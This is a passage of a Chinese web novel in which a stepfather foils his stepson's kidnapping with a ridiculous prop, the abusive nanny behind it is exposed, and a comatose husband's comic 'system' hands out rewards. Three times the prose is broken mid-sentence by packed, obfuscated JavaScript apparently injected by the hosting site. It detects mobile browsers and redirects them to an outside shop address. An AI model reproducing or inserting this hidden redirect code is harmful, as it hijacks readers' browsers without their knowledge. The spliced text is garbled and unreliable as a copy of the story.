程乐言看着手中的不明物体,震惊到声音都在抖了:【这什么玩意!?419你出来,你告诉我这什么玩意!???】 419弱弱地说:【这就……这就……晋江吉祥物,飞天大丁|丁的……橡胶版嘛。】 越说声音越低。 程乐言:坑爹呢这是!!! 没错,他刚刚挥舞着的东西,正是一个超大超坚硬超有力的丁|丁。 8. 悍跳 程乐言脚趾抠地,恨不得用抠出来的土直接把自己埋掉了事。419,我真的是信了你的邪啊419!! 419也很委屈:它是R18系统啊,小仓库里就这些东西嘛…… 再说了,这玩意不是很管用,非常坚硬,坚不可摧,堪比金刚石了都,这不正好。 也就是造型有点…… 嗯。 不过现在也不是纠结这个的时候。 程乐言问:【濯濯现在呢?】 419:【定位一直在动,我导航你跟着来,宿主快快快!】 旁边还有人在尖叫,程乐言对金店服务员快速道:“我儿子被歹徒绑架了,我才这样想关商城大门。你们帮我跟警察说声,我先去找孩子,你们损失我全赔!” 说着就手握那不明物体,雄赳赳气昂昂地朝一个方向快步跑去。 濯濯,濯濯濯濯濯濯,你等我啊!他心中喊道。 濯濯觉得自己已经筋疲力竭。 几分钟前,他像个小尾巴一样,跟在后爸后面,好奇地看着这商场的人来人往。后来后爸去扶孕妇,就松开了自己的手。 他是乖乖站在一边等后爸的,可是突然自己被抱了起来,两只手臂死死把他的双腿箍住,又有人抓住他双手,让他不要乱动。 这力量太大了。濯濯毕竟只是个三岁小孩,根本无法挣脱。他拼命挣扎,但无济于事,他的那点气力几乎是蚍蜉撼树。 他想大喊大叫,他想喊“救命”,他想喊“程乐言”,他想喊“我不认识你们”,但是…… 他没办法说话,什么声音都发不出来。 那无声的呐喊聚集在他的胸口,却无法从嘴边发出。 他的心彻底被恐惧填满:是谁在抓他?想干什么?是不是……后爸找了人抓他? 像顾秦哥说的那样,后爸觉得他是拖油瓶,不想要他了,就想把他卖掉,是这样吗? 他会被带到哪里?他还有机会见到爸爸和奶奶吗? 他们会怎么对他,会打他吗?会像张妈给他看的短视频里那样,打断他的腿,让他在大街上乞讨吗?他会……死吗? 心越来越沉。 他眼见抱着他的绑架犯朝商城一个侧门猛冲过去,门外停着一辆摩托车,骑手已经发动车子,频繁地回头看他们。 濯濯知道,这辆车就是为他准备的。 冲出门,一切就都完了。 他用尽全身的力气挣扎,又随着和门的距离缩短,一点又一点地陷入绝望…… 然而,就在绝望将他彻底淹没的时刻,周围警报声大震,玻璃门瞬间锁死,一扇卷帘门也随之落下。 他们被关在了门里,和门外那个摩托车手隔开了。 好像也和另一种未来,一墙之隔。 在这一刻,命运走向了另一个岔路口。 周围的顾客议论纷纷,一个绑匪冲上去推了推门,又晃了两下,确认一时半会出不去后,两人抱着濯濯又往商城里面跑。 到处都是人潮,乱糟糟的,很多人都在议论什么“金店抢劫”,两个绑匪后来抱着濯濯躲进一个厕所,想从窗子逃跑。 只是那窗子锁住了,他们正在想办法弄开,濯濯突然间听到了“嘭”一声响。 有人踹开了厕所的门。 那人逆着光冲进来,身上好像都笼罩了一层光晕。 他的手里还挥舞着一个奇怪的,却又异常威武的东西。 那人影非常熟悉,居然是——是他的后爸! 后爸手里挥舞着的那个物体,就像是一个大宝剑! 两个绑匪嘴里还在叫着“你他妈过来我们就撕票”,后爸听而不闻,挥舞着那“大宝剑”,狠狠地砸了过去。 濯濯下意识就闭上了眼。 下一秒,一直箍着自己的手松了,濯濯往下落,落到了一个温暖的怀抱里。 鼻腔里满是熟悉的香香的味道。 他睁开眼,正看到了后爸。 后爸一手抱着他,一手还拿着“大宝剑”,狠狠地抽着那两个绑架犯,直到两人躺在地上,一动不动。 后爸这才松了口气,把他紧紧地按在了自己怀里:“濯濯不怕,没事的,宝宝没事了,后爸来救你了,后爸把你救出来了。没事了,你安全了。不怕不怕,后爸保护你。” 你没事了。 你安全了。 后爸保护你。 濯濯被环在那臂弯里,被牢牢地包裹,被温暖环绕。 幼崽又过了十几秒钟才终于完全反应过来,他埋在程乐言的怀里,无声地嚎啕大哭起来。 门外,警察到了。 * 容妈妈都没想到,自己居然会有去局子捞人的那一天。 捞的还是那个所谓的“儿媳妇”。 若是从前,她才懒得管程乐言死活,但是这次,她丢下了一个重要会议直接走人。 然后在警察局的一个小房间里,她看到了濯濯。幼崽缩在程乐言怀里,眼睛已经哭肿,时而抽泣一声,像是完全被吓坏了。容妈妈再忍不住,瞬间泪如泉涌。 程乐言递过纸巾,道:“妈,濯濯没什么事儿,我检查过了。你抱抱他?” 容妈妈摇摇头,擦了擦鼻涕,瓮声瓮气地说:“我八字和濯濯犯克,抱他对他不好。” 末了看向程乐言,有些别扭地问:“你,你也没什么事吧?” 程乐言道:“放心吧妈妈,我没事。我过去练过高尔夫的,有事的可不是我。” 其实是他过去在高尔夫球场打过工。话说回来,他现在觉得那个飞天大丁丁用来打人还挺顺手,杀伤力很强啊。 容妈妈擦干眼泪,深吸口气,勉强恢复了一贯威严的形象:“事情我都知道了。我带了律师团来,正在和金店、商场三方开会,所有赔偿我会承担。放心吧,金店的东西你一点没动,事急从权,肯定没事的。” “你是为了保护濯濯。我不会让你有事。” 程乐言弯了弯眼睛:“谢谢妈。我就知道,妈不会不管我的。” 花言巧语。容妈妈心里这么想,但程乐言眼睛亮如星辰,瞳仁干干净净,无比清透。 濯濯就缩在他的怀里,紧紧抓着程乐言的衣服,对他明显非常依赖。 程乐言则牢牢地抱着幼崽,好像可以帮他抵抗住全世界。 这一幕深深地印在容妈妈眼底。 她出神地想:不管怎么说,在对待濯濯的事上,程乐言是个好人,是程乐言救下了濯濯。 她之前怎么会那么讨厌程乐言呢? 她之前怎么会怀疑程乐言不好,怀疑程乐言虐待濯濯,派了李管家去呢? 她之前怎么会认为程乐言脑子有病呢? 一分钟后,两位警察进来,还拿着个证物袋,里面装着一个飞天大丁|丁橡胶版,很大,很飞天,很丁|丁。 警察尴尬且一脸正气地问:“确认一下,程先生,你说你就是用这个——物体,砸碎了金店玻璃,击倒了两位歹徒,是吗?” 程乐言:“是啊,就是这个,没错!” 容妈妈:………… 程乐言你是不是有病。 这什么玩意啊!!!眼睛要瞎了好吗!你为什么会随身携带个这玩意!!! 还有,遮住濯濯的眼睛啊! 不要让他看这玩意! 不要!!! 两位警察对视一眼,其中一位开玩笑般问道:“真的假的?就靠这玩意?程先生,你怎么做到的啊?” 主要是他们检查过了,这就是一个普通橡胶制品,非常普通,压根不具备击破金店玻璃的能力。但监控和目击群众都证实,程乐言挥舞的就是这玩意没错。 他们不知道,程乐言利用419搞了个掉包,那个坚硬无比的“飞天大丁|丁”重新回到了系统仓库,这就是个普通版的。 统子原话是:【他们不问,你不说。他们一问,你惊讶。】 这时候被问起这个问题了,程乐言就一脸惊讶:“我也不知道,我也很震惊。我想,大概就是大力出奇迹吧。主要是当时的情况太紧急了,我为了我儿子,爆发了史无前例的小宇宙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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另一个警察问:“我们正在找更多线索。也想问问两位,你们有什么怀疑的人吗?比如和你们有利害关系的,熟悉你们日常生活的——程先生,那几位绑匪似乎确定,你会在今天带着小朋友前来这个商场呢。” 容妈妈皱眉,自言自语道:“有利害关系的可多了,图钱的更是不少,不过知道濯濯的人其实也不多,再说——程乐言你看我干嘛呢?想说什么?” 程乐言:“是有句话想说。” 说着就凑近了些,一脸神秘兮兮的样子。 容妈妈只觉得莫名其妙,但仍然附耳去听,就听程乐言暗戳戳地在她耳边说:“有内鬼,终止交易!” 容妈妈:……很想打他是怎么回事。 但又一想…… 啊。 内鬼。 程乐言说完了那话,便又看向了警察:“警察大哥,今天绑架犯把我儿子绑的那段监控视频,再给我妈看下呗。” 警察于是给容妈妈放了商城里的一段监控视频。距离有点远,拍得不算太清晰,但仍然看出了濯濯被架走的全过程。 容妈妈看到濯濯挣扎的样子,心中巨恸,程乐言道:“妈你看,那两个绑架犯箍着濯濯的双手双脚防止他挣扎,但是居然没人捂着濯濯的嘴。这其实不太正常,除非——他们知道濯濯不会说话,不会呼救。” 容妈妈猛然一凛。 濯濯身份特殊,并非容妄之亲子,再加上年纪小,容家没有藏着掖着,但是平日里从没带濯濯参加过任何对外场合。 更别提濯濯一直不开口说话这件事了。知道这件事的人少之又少。 是——是濯濯身边的人。 容妈妈脸色煞白:“难道……难道是……是他吗!?” 程乐言拍了下桌子:“妈你终于想到了!就是她啊!” 容妈妈喃喃自语:“真的是李管家?他刚调去你们那里一周就发生了这种事……居然是他?怎么会是他!?李管家明明那么浓眉大眼……” 程乐言差点绝倒:“是啊我也想知道怎么会是他,那么浓眉大眼的李管家怎么会叛变革命——压根就不可能是他好不好!” 他直接道:“妈,你就没怀疑过张妈吗?我觉得她这都算悍跳了吧?” 9. 内鬼 听程乐言这么说,容妈妈愣了一愣,随即道:“张妈?那不可能。程乐言你不知道,妄之就是张妈带大的,她对妄之特别好,有次发生地震,她自己都跑出去了,还特意折回去抱妄之。她怎么可能会做出这种事。我觉得还是李管家。” 程乐言怀里,濯濯努力地眨了眨已经红肿的眼睛。 他心中犹豫。 他想要是奶奶不相信他怎么办,要是大家觉得他在说谎怎么办,要是张妈知道了,摔死他,打死他,淹死他,把他从楼上扔下去怎么办。 他想来想去,最后想到了之前后爸抱着他的时候,他说的话。 他说“后爸保护你”。 他说“你安全了”。 要……相信吗? 濯濯的手又抓住了口袋里的比卡丘玩偶。 最后,他毅然决然地做出了一个决定。 我是铁皮人,我应该很勇敢。 他颤颤巍巍地伸出手去,轻轻地握住了容妈妈的手臂,晃了晃。 自从大师批命,说容妈妈和濯濯八字相克之后,容妈妈有近一年时间,没再抱过濯濯。 这时候看着幼崽的小手晃晃自己,容妈妈鼻子一酸,差点又一次落下泪来。 接着就见濯濯指了指她的手机。 容妈妈刷脸解锁,把手机递给濯濯,濯濯调出了手机的记事本。 然后非常认真地在里面打字。 第一行字:【李管家是好人。】 第二行字:【张奶奶是坏人。她打我,骂我。】 第三行字:【她说要是我敢告诉你们,她就杀了我。】 幼崽把手机推到了她跟前,动作谨小慎微,颇有些惴惴不安地看着她。 然后又下意识地往程乐言怀里缩了缩。 像是终于大着胆子冒了一次头的幼兽,有个风吹草动就会再缩回到巢穴里面去。 奶奶……奶奶会相信他吗?濯濯紧张惶恐地想。 容妈妈看那三行字。 看了好几遍。 喉咙口被堵住,她几乎喘不过气来。 她最后做的事,就是背过身去,背对濯濯,抬手就给了自己两耳光。 她都……她都做了什么啊! 是她让张妈来照顾濯濯的,濯濯这一年到底遭受了什么? 他这一年过的到底是什么日子? 如果这次濯濯没有告诉她,她又要花多长时间才能知道这件事!? 濯濯才只有三岁!! 巨大的后悔和难过把她席卷淹没。 但现在不是想这些的时候。 她生怕自己把濯濯吓到,只用尽一切气力在最短的时间内调整好情绪,接着就像什么都没发生一样,转过身,和颜悦色、极尽温柔地对濯濯说:“濯濯,奶奶相信你,奶奶以后绝对不会让张妈靠近你一步!濯濯,你,你以后……你以后安全了。” 说到最后已是带上了鼻音。 濯濯终于轻轻呼出了一口气。 太好了,奶奶相信他。太好了。 他的反应让容妈妈心中又是刺痛。她飞速抹掉眼泪,把手机递给了警察:“警察同志,我们家的育儿嫂,叫张丽红,我们现在怀疑就是她策划了这次的绑架案。” 又想起什么,接着道:“对了,三个月前张丽红问我借100万,说想给儿子买房子。我给她包了5万红包,让她不用还了,多的钱没借。警察同志,你们查一下她丈夫、儿子,乍一下借那么多钱,我怀疑她家里有人赌博。” 程乐言也说:“张妈昨天也问我借30万,我没借。今天早上,是因为濯濯有个玩具坏了,我们才去了大西洋百货,想重新买一个——肯定就是张妈特意把玩具弄坏的。” 警察点头起身:“好,我们马上去查。” 容妈妈几人干脆就等在了警察局里。 下午时,警察带来了最新的消息,说查到张妈的儿子欠下高额赌债,家中时常有人催债,他们的房子已经被抵押出去。 同时,张妈的丈夫一周前从银行取出了五万现金,某嫌犯邻居指认张妈丈夫曾在嫌犯家附近出现过。 李管家那边也调出监控,显示的确是张妈故意把铁皮人弄坏的。 证据够了,警察将张妈带走讯问,还在张妈房间里,搜出了张妈的另一个备用手机,里面很多记录都还在。具体情况,警方正在紧罗密布地侦破中。 那一天,程乐言带着濯濯出门的时候是上午,真正回到家时,已是晚上。 程乐言带着濯濯下车,容妈妈也跟着下车。她想来想去,欲言又止,百般纠结后,终究在濯濯面前半蹲下去。 她平视着幼崽的眼睛,说:“濯濯,奶奶向你道歉,奶奶没有注意到张丽红居然是那种人,奶奶放任你处在了危险的境地里。对不起,濯濯,是奶奶疏忽了,是奶奶错了。但是这不代表奶奶不爱你,奶奶很爱你,非常爱你。你可以,你可以原谅奶奶吗?” 说到后来,这位五十多岁的太太又一次哽咽。 濯濯眨了眨眼,后来他就伸出手,递了一张纸巾给容妈妈,然后笑了笑,很笨拙又很用力地点了点头,接着摇了摇头。 他什么都没说,可是容妈妈懂。 濯濯在说:我原谅你——不,不对,我从来没有怪过你。 归程的车上,容妈妈独自在车里表演了一个爆哭。 濯濯是小天使啊,濯濯真的是小天使。 本来想回老宅的,车开到中途,容妈妈改了主意,让司机开去了容妄之的医院。 私人病 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648102|156557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房里,儿子仍然安静地躺在那床上,只是昨天那个粉红色的嘟嘟唇已经消失不见。看来是护工给儿子卸了妆。 啊,等等,为什么当“儿子”和“卸妆”这两个词联系到一起的时候,这么奇怪。 容妈妈原本心中难受至极,想到这里,痛苦的心绪却是被冲淡了一些。 她在容妄之的床边坐下,望着儿子的脸,最后抽了下鼻涕,开始如自言自语般娓娓道来:“妄之,妈妈今天第一次这么庆幸,妈妈听了刘大师的话,让程乐言嫁到了家里来。” “唉,你要是醒来了,知道妈给你找了个男的冲喜,肯定烦死妈妈了吧。当初妈妈的确有些病急乱投医,刘大师说那个八字的人会是你的福星,能让你有机会醒过来,甚至能主宰你未来的命运,妈妈就信了。不过他冲喜冲了一年,你都没醒,冲了个寂寞啊这是。可是今天,妈妈真的觉得,幸亏有程乐言。幸亏有他。” 她不知道的是,就在她提到“程乐言”这三个字的时候,容妄之就又有了意识。 仍然不能动,无法操控身体,也没有太多的感觉,容妄之好像只是能够听到外界的声音,但是无法做出任何的回应。 他就听着妈妈的话,心中突然一动:上一次他有意识时,正好是程乐言在说话。这一次清醒,又是因为妈妈提到了程乐言。 难不成姓刘的不是什么江湖骗子,程乐言真是什么“福星”,能给他冲喜? 不可能。容妄之从来不迷信,只信科学。 大概是思维慢了一点,变成了语言,被系统捕捉到了。 250幽幽道:【确定吗?本系统也是科学吗?】 容妄之:【唔。】 反正别想让他再说“嗯”。 容妈妈继续道:“妄之,妈还想跟你说一件事。濯濯……濯濯今天被人绑架了。” 容妄之心脏疾速猛跳,差点就跳出胸口。 容妈妈:“但是没绑架成功。” 容妄之心脏又落了回去。 容妈妈:“我们家里有内鬼,策划了这起绑架。” 容妄之心脏再次疾速猛跳。 容妈妈:“但是已经被揪出来了。” 容妄之心脏又落了回去。 容妈妈:“是我没用。濯濯的生活,原来一直都在恐惧与痛楚之中啊,连个依靠的人都没有。” 容妄之心脏又一次疾速猛跳。 容妄之:“但是现在有了。” 容妄之:……妈,你说快一点可以吗。 容妈妈:“他现在很依赖程乐言呢。” 容妄之:嗯? 是说油嘴滑舌,谎话连篇,两面三刀,表里不一,性情恶毒,下手毒辣,贪财狡诈,利欲熏心,口蜜腹剑,心思深沉的那个程乐言吗? 10. 福星 这一次,容妈妈迅速地说完了整个事件,最后道:“幸亏有程乐言在,幸亏他反应快,及时砸了金店,触发警戒,商城大门关了,让他有时间及时找到了濯濯。 “妄之,真的,如果不是程乐言,如果程乐言今天畏首畏尾不敢动手,或者程乐言反应再慢一点,濯濯已经被绑架走了。后面会发生什么,我们谁都不知道。” 白天惊险的一幕在容妈妈的话语中,重新呈现在了容妄之面前。 容妈妈:“还有……妄之,和绑架犯里应外合的,可能会是,张妈。” 容妈妈深吸了一口气,才慢慢把话说完:“她带大了你,我太信任她了,所以你出事之后,我让她去照顾濯濯。可是她……她居然……她虐待濯濯,打骂濯濯,恐吓濯濯。濯濯越来越瘦,语言越来越差,变得越来越容易害怕、容易慌张,都是因为张妈。” “妄之,妈妈对不起濯濯,妈妈也对不起你。” 容妄之觉得自己像是心脏被一只无形巨手猛然揪紧。 他印象中的张妈,还是那个温柔的,会给他煮甜汤的阿姨。 怎么会这样!? 容妈妈擦了擦眼泪,继续道:“警察在调查,有了进一步的消息我再跟你说。是程乐言提出张妈有问题的,要不是程乐言,我还不知道会被张妈骗多久,让濯濯受多久的苦。 “濯濯今天吓坏了,一直黏着他,他就一直抱着濯濯,一点不耐烦都没有。我都看在眼里。妄之,就濯濯这件事上,我永远感谢他。” 容妈妈的话在容妄之心间引起回响。 对于程乐言,差劲至极的初印象多来自于自己的猜测,如今看来,倒是走了眼。 这么短的时间之内能想到“金店”这个办法,有脑子,有魄力,还有勇气。 这才是真正的程乐言吗? 真正的他,或许也不像自己想的那么不堪? 容妈妈倒是这时话锋一转:“不过吧,妄之啊,程乐言还是古古怪怪的,我怀疑他是不是有病啊?你知道他今天拿什么砸碎金店的柜子吗?是那个……就那个……” 容妈妈试了几次,终于艰难地说:“就一个超级大的,假的那个什么玩意,他居然随身带着啊!后来还用那玩意把两个歹徒给抽到医院里去了。歹徒现在还昏迷呢。 “他好像是个变态。你……你……你醒来了之后,会不会骂妈妈给你找了个变态啊?” 容妄之满头问号,心想“假的什么玩意”,妈妈在说什么呢,结果就在这时,他脑子里突然传来了“叮咚”一声,随即系统250的声音欢天喜地的响起。 系统:【完成了完成了!宿主!“你的爱人使用了特殊道具飞天大丁丁,引发特殊的效果”这个任务完成了!!!我靠这任务都能完成,宿主你真的是天赋异禀啊!还有你那个老婆,真的是你的福星了啊!!!宿主你只要躺着就有积分拿了!】 系统说着,突然恍如大悟:【咦,躺着也有积分拿,难道这才是R18组正确的工作方式吗?】 容妄之:……………… 收回前言!真正的程乐言,比自己想的更加不堪!! 为什么他随身会带着这种东西! 为什么!? 总不可能是因为喜欢吧!? 还有这个见鬼的任务,系统到底要如何才能离开自己的大脑!? 系统继续道:【奖励内容有积分,还有个buff,你会……你会……算了不要关注奖励了叭,嘻嘻。】 容妄之:【说。】 系统:【呃,好吧,奖励是“你会拥有逆天的完美长睫毛,恋人看了会忍不住心生怜爱”,时间24小时。】 容妄之:……………… 妈,你确定那是我的福星吗?我看是我的劫数还差不多吧! 他现在只希望,他妈快走,他自己快点失去意识,眼不见心不烦。 对,就是这样没错。 碰巧这个时候,容妈妈助理敲门,说有个重要电话,也请她听一下。 容妈妈暂时离开了。但是她没有如容妄之希望的那样,直接回家,几分钟后便回了病房。 然后也看到病床上,儿子的脸…… 容妈妈的眼睛猛然睁大,瞳孔地震:这,是,什,么??? 这长长的,弯弯的,密密的,是,什,么? 容妈妈震惊到失语,忍不住伸手揪了一把儿子长长的弯弯的密密的眼睫毛。 没揪动。 简直像是焊在他眼皮上了。 容妈妈的嘴抽搐两下,甚至怀疑是不是自己出现了什么幻觉,最后火速去加程乐言的微信——还是第一次,她有了强烈的,想要和程乐言说话的冲动。 程乐言微信头像是个戴着墨镜数钱的猫猫,微信名“food流油”,加好微信后先发了个猫猫撒钱的表情包,配字是“见者暴富”。 容妈妈赶紧拍了张儿子的照片发过去:【你看他睫毛!这怎么回事,昨天他睫毛是这样的吗!?】 程乐言也很震惊:【不是的啊!这哪是睫毛啊,简直是他眼睛上糊了两个大扇子! 【妈,搞什么啊这个医院,还负责种睫毛的吗??怎么给他把睫毛都种上了。 【神经病啊,上个疗养院给他涂口红,这个医院给他种睫毛,都什么啊!把植物人打扮得漂漂亮亮的是你们这儿的传统吗?】 容妈妈:【哪有这种传统啊!我要去调监控了,你过来吗?】 程乐言:【等我半个小时,我这就开车过来。】 容妈妈:【开什么车,我派直升机去接你!】 十分钟后,程乐言和容妈妈围着容妄之,仔细围观他的睫毛,啧啧称奇。 程乐言还招呼着濯濯一起来看。 啊……所以是三个人在围着容妄之,仔细围观他的睫毛,啧啧称奇。 容妄之深吸口气,在脑海中道:【系统。】 【不如再来谈一下,你到底要怎样,才愿意离开我的身体?】 离开是不可能离开的。 250缩了缩脖子,默默地在容妄之的大脑里,抱住胖胖的自己。 程乐言和容妈妈对着睫毛各种指指点点之后,容妈妈也表示了疑惑:“不过我刚刚调了监控,监控中间居然断了那么十来秒,信号再恢复,妄之的睫毛就已经是这样了。” 程乐言道:“十来秒的时间,也不够种睫毛的啊!妈,会不会是——容先生他突然被个妖精上身了?” 容妈妈:“……什么精?” 程乐言:“睫毛精。” 容妈妈一边觉得“你脑子有坑吗”,一边又觉得“冲喜这种事都有了,世界上有睫毛精存在好像也正常?” 最后决定今天就打个电话问问刘大师。 倒是程乐言内心涌上一种非常奇怪的感觉:【统爹,是我的错觉还是怎么回事,我看我老公的眼睫毛,就感觉很奇怪啊,像是……我在看人民币。】 419道:【宿主,我也觉得很奇怪,就这眼睫毛,看起来超眼熟的!因为有buff会营造这种效果,我之前的宿主就刷出来过,你不知道,他的cp们看到后简直跟疯了似的……】 程乐言:【啊?CP我知道是什么,为什么还有个“们”?】 419:【……不要在意这种细节。总之就是感觉好奇怪哦。这人身上该不会有我R18组的前同事吧?】 但接着它看了看容妄之188的身高,看了看那张英气十足的脸,系统默默摇了摇头。R18系统基本都绑在受方身上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648103|156557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,谁脑子抽了去绑这么个大猛攻嘛,还是个植物人诶,不可能的。 要绑也绑自己宿主这种唇红齿白的还差不多。 容妈妈这时看了看时间。她之前还在为了张妈的事心中愧疚至极,但是被容妄之的超长睫毛打了个岔,反而冲淡了那种情绪。 她说:“程乐言,你跟濯濯吃饭了吗?” 程乐言道:“没吃呢,我接到你电话就赶紧过来啦。我们濯濯宝贝是不是也要饿了呀。来,后爸看看我们濯濯肚肚有没有咕咕叫。哎呀~没有咕咕叫呢。” 容妈妈:“……不是,程乐言,我求你个事儿,你能不带夹子音说话吗?我鸡皮疙瘩都起来了。” 程乐言哈哈一笑:“妈,我跟你说话肯定不夹。要不咱一起吃饭?妈我跟你说,我发现了一家濯濯非常喜欢吃的菜!超棒,超赞,超绝,妈你可能从来没吃过,不如一起去试试吧!” 昏迷中的容妄之见他们终于把注意力从自己的睫毛上面移开,松了一口气。 但听着程乐言一口一个“妈”,一口一个“濯濯宝贝”,终究是心里有点不太舒服。 他过去和容妈妈母子关系和睦,但很有分寸感和距离感——或者说整个容家的氛围,都是互相极有分寸感的。他都不记得自己上次“妈、妈”这样亲热地叫郑女士是什么时候了。 不过他对自己妈妈非常了解。 就郑女士,性格别扭,非常难搞的人,连自己爸爸都搞不定她,能被几句花言巧语迷惑? 能跟他一起去吃饭? 怎么可能。 下一秒,他妈妈:“行吧,时间差不多了,一起去。” 容妄之:……………… 郑女士,你是在打我的脸吗。 容妈妈又和颜悦色地问:“是什么餐厅啊?濯濯这么喜欢,要不奶奶买下来?” 程乐言:“哈哈哈,妈,这个好像不好买,人家是外企。” 容妈妈:“外企怎么了,谁说的外企就不能收购了。到底是哪家?” 程乐言:“肯德基。” 容妈妈:??? 谢谢,还真不好收购。 不过程乐言看了看日期,一惊一乍地说:“忘了,今天不能吃肯德基了!!没有疯狂星期四,吃什么肯德基啊!哎呀,妈妈,濯濯,咱去麦当劳哈,我们还可以点一个穷鬼套餐,超划算的。” 容妈妈:“穷什么鬼套餐啊!我才不要吃穷鬼套餐!有没有富婆套餐?我要吃富婆套餐!程乐言你给我争气点,这顿我请行吗,不准吃穷鬼套餐!” 濯濯:啊?所以只有我们家是穷鬼,奶奶其实是富婆吗? 程乐言:“妈,你就是我亲妈,你要请客我还能拒绝嘛。要不这样,给妈妈一个富婆套餐,给濯濯一个儿童套餐,我自己吃穷鬼套餐。” 容妈妈:“不行,你也给我吃富婆套餐!以后不要在我面前提‘穷鬼’两个字!” 濯濯:啊?因为奶奶是富婆,也要带领我们家脱贫致富了吗? 几人一边说着,一边慢慢走远。容妄之最后听到的,就是门被关上的声音。 他不知道自己变成植物人的这一年,妈妈状态怎样,会不会掉泪。他不知道妈妈之前来自己床边,和昏迷状态的自己说话时,是什么心情,有多难受。 但是如今,他听着妈妈的语气,虽说带着嫌弃和吐槽,但终究让他松了口气。 这——挺好的。 他觉得这样挺好。 意识又开始不断地下沉。 下次拥有意识的是什么时候呢?他甚至有点期待了。 那就,下次见。 250:【下次见啊宿主!我也很期待了!!】 容妄之:……闭嘴吧,不是期待你。 11. 刑法 程乐言带着容妈妈和濯濯一起去吃了麦当劳,倾情点了两份富婆套餐(指让程乐言肉痛的安格斯厚牛堡)和儿童套餐一份。 容妈妈当然不是第一次吃麦当劳,但总归挺新鲜的;濯濯更是风卷残云,把自己的套餐都吃完了,后来又吃了派,一盒鸡块和一个冰淇淋。 幼崽一本满足。 后来回到家,程乐言带濯濯去洗了澡,换好睡衣,把幼崽的头发吹干,送回到床上。 濯濯又端端正正地把那个比卡丘放在了自己枕头旁边。 后爸原本是说今天要带他去买很多玩具的,但最后出了这么多事儿,完全没买成。 失望是有的,但不多,更多的是一种至今不敢相信的狂喜: 项老师离开了,现在,张奶奶也离开了! 张奶奶不在这栋房子里! 张奶奶再也不能打他,骂他,灌他喝那些糊糊,或者喂他吃会让他睡觉的东西了! 张奶奶……不会再回来吧? 她要是再回来了,该怎么办? 下次她再叫人来绑架自己,后爸还会救自己吗? 想到这些,幼崽的心都被揪紧。 他对自己说:我是铁皮人,我要勇敢,我不怕她。 但脸却已经皱了起来。 这时,他感觉到后爸在他的床头坐下,带着那种淡淡的,让他心安的味道。 后爸说:“宝宝,你是不是已经认识很多字啦?宝宝很棒哦!后爸还没来得及和你说说今天的事。被抱走的时候,有没有很害怕啊?” 委屈瞬间涌上,濯濯想,有的,很害怕。 后爸又说:“张妈从前是不是做过很多很过分的事?只是濯濯没有和任何人说,因为濯濯害怕,因为濯濯觉得说了也没用?” 濯濯想,嗯,他真的怕说了也没用,别人不相信他,张妈会更加过分地打他——像从前的后爸一样。 后爸很温柔地说:“濯濯不是坏小孩,濯濯不是故意在哭,濯濯不是故意不说话,濯濯也不是故意不吃东西的,濯濯不想和大人作对,对不对。” 濯濯想,是啊,濯濯……濯濯不是坏小孩。 濯濯又想哭了,他轻轻抽了下鼻子。 他感受到后爸用手很温柔地顺着他的头发,慢慢地说:“这个世界上是有一些坏人的,比如像张妈,比如像今天的歹徒,比如像——从前的后爸。我理解濯濯害怕,后爸也会害怕。后爸懂的。 “不过濯濯,以后不会了,因为后爸会保护濯濯,会守在濯濯身边,这是后爸答应濯濯的事,后爸一定会办到。濯濯不是坏小孩,濯濯是世界上最好最好的小孩,是一份世界上最棒的礼物。 “濯濯今天很勇敢,濯濯做得很好,你向奶奶揭露了张妈的真面目,这真的很棒。濯濯也要向我保证,以后遇到什么事,比如谁欺负你了,比如哪里不开心了,比如什么时候受了委屈,一定和后爸说,好不好? “宝宝啊,过去发生的事都不是你的错。以后你想做什么就去做,不要害怕。后爸永远相信濯濯,后爸永远站在你这一边。” “睡吧,宝宝,睡吧。后爸就守在这里。” 濯濯想,我是铁皮人,我不会融化,可是我就要…… 融化了。 他奇异般地睡去。 不是因为吃了会睡觉的食物,不是之前早已习惯的装睡,不是自己孤独着恐惧着饥饿着抱着那个毛都要掉光了熊熊,最后在所有的噩梦里挣扎。 不是。 他现在很饱,很暖和,很安全。 他有了最美好的现在,最美好的一个梦。 就在濯濯彻底睡去的那一刻,419在程乐言脑海中放起了烟花:他的主线任务“改变这个世界和反派容寄时的命运”,已完成10%。 濯濯的命运,已经有了10%的偏移。 听到这个消息,程乐言还挺开心的,不只是因为什么任务,也因为濯濯本身。 他在改变这个孩子的命运了。 他在让这个孩子,有机会拥有幸福的一切。 以后濯濯会拥有更多。 那些他小时候很想要的、但是却没能拥有的,比如玩具,比如好吃的,比如拥抱,比如陪伴,比如游乐场里的欢声笑语,都会给濯濯,他都要给濯濯。 他会让很濯濯很幸福。 第一阶段的奖励只有十块钱,419心虚地将10块钱为程乐言入账。程乐言倒是美滋滋,都是钱嘛,10块不嫌少,1万不嫌多。 这可是人民币诶。 系统又道:【还有件事,宿主,濯濯的命运发生偏移,后续的故事也发生了变化。世界意志按照目前的情况,对整个世界的命运重新做出推演,也给出了一种预测,展示濯濯未来的一种可能性。 【祂将之作为奖励发放给你,可以作为参考,帮助你调整后续的行为。】 程乐言眼前一亮:【这个好啊!这不预言家技能吗,非常管用!】 